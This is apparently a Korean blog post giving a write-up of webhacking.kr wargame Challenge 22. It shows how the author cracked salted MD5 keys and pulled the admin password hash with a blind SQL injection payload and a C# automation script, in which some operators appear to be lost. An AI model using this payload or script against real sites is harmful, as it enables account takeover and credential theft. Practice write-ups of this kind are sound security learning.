0x10 정보보안/0x16 Web

webhacking.kr Challenge 22 Write up.

sweetchip 2012. 11. 1. 22:25
반응형

안녕하세요


요즘 webhacking.kr 문제를 풀고 있습니다.


간단하게 write_up을 해보려고 하는데, 정말 진심으로 실력을 늘리고 싶은 분들께는 아래 더보기를 누르지 마시기를 강력히 추천드리며


정말 모르시겟다면 결정적 힌트 두가지를 드리겠습니다.




힌트에 공감이 가시는 분은 다시한번 도전해보시고 정말 모르겠다면 Write_up을 함께 봐주세요


Write_up
//webhacking.kr Challenge 22

가장먼저 보면 아마 다음문구가 있을것입니다.




echo("hi! $id<br><br>");
echo("your password is $pw<br><br>");
if($id=="admin")
echo("good! Password is $solution");

우리의 목표는 바로 admin 계정으로 접속을 하는것입니다만,, index.phps 는 제공되지 않습니다.

어쩔수없이 패턴 체크 루틴을 게싱을 해야할수밖에 없게됩니다.

username 부분에 union 을 쓰면 no hack 이라고 나오게 되는데요,

이런식으로 추측하시면 되겠습니다. 일단 join 버튼이 있으니 눌러봅시다. [이런것들은 80% 활용하라고 놓인것이지요]

아이디를 a, 패스워드를 a 라고 만들면 다음과 같은 창이 뜹니다.



저의 키는 884... 이것입니다. 일단 저 md5를 곰곰히 생각해봤습니다.

이리저리 굴려보다가 http://md5.web-max.ca/ 에서 md5를 사전 대입크랙 하자 azombie 라는 답을 줬습니다.

그러면 다시 한번 아이디를 c, c1 해서 키 값을 크랙하면 c1zombie 라는 결과가 나오게 됩니다.

* 중간 결론 : 비밀번호 zombie 문자열이 user key 이다.


자 그러면 이제 blind sql injection을 시도해보겠습니다.


아이디는 admin이고, 그에따른 적절하게 공격구문을 만들어보겠습니다.


----------------------blind sql injection 구문 --------

admin' and ascii(substr(pw,1,1))=100#

----------------------blind sql injection 구문 --------

* blind sql injection 기술은 따로 서술하지 않겠습니다.


이런식으로 하나하나 값을 얻어냅니다.


하지만 대부분 사람은 손으로 대입하는 사람은 없을겁니다.


그래서 저는 C# 자동화 프로그램을 만들었습니다.


Source Code ----------------------------------------------------------------


public CookieContainer cookie = new CookieContainer(); // 쿠키 컨테이너


public void login() // 로그인

{

HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://webhacking.kr/index.html?enter=1");

req.Proxy = null;

req.Method = "POST";

req.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0";

req.ContentType = "application/x-www-form-urlencoded";

req.CookieContainer = cookie;

req.KeepAlive = true;


StreamWriter writer = new StreamWriter(req.GetRequestStream());

writer.Write("id=myid&pw=mypw");

writer.Close();


HttpWebResponse result = (HttpWebResponse)req.GetResponse();

}


public void send() // injection

{

HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://webhacking.kr/challenge/bonus/bonus-2/index.php");

req.Proxy = null;

req.Method = "POST";

req.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0";

req.ContentType = "application/x-www-form-urlencoded";

req.CookieContainer = cookie;

req.KeepAlive = true;


StreamWriter writer = new StreamWriter(req.GetRequestStream());

writer.Write("id=admin' and ascii(substr(pw," num ",1))=" bpint "#&pw=asd");

writer.Close();


HttpWebResponse result = (HttpWebResponse)req.GetResponse();

Stream re = result.GetResponseStream();

StreamReader red = new StreamReader(re, Encoding.Default);

string str = red.ReadToEnd();


if (str.Contains("Wrong password!") == true)

{

listBox1.Items.Add(bpint);

bpint = 29;

num ;

}

else

{

bpint ;

}

}

--------------------------------------------------------------------------------------


위 소스를 바탕으로 다음과 같은 결과를 뱉어냅니다.





총 32자를 구해서 admin 의 user key를 알아낼수 있습니다.

userkey를 마찬가지로 크랙해서 admin의 패스워드를 알아내고

그 패스워드를 기반으로 로그인 하면 500점을 득점 하게 됩니다.


감사합니다.




반응형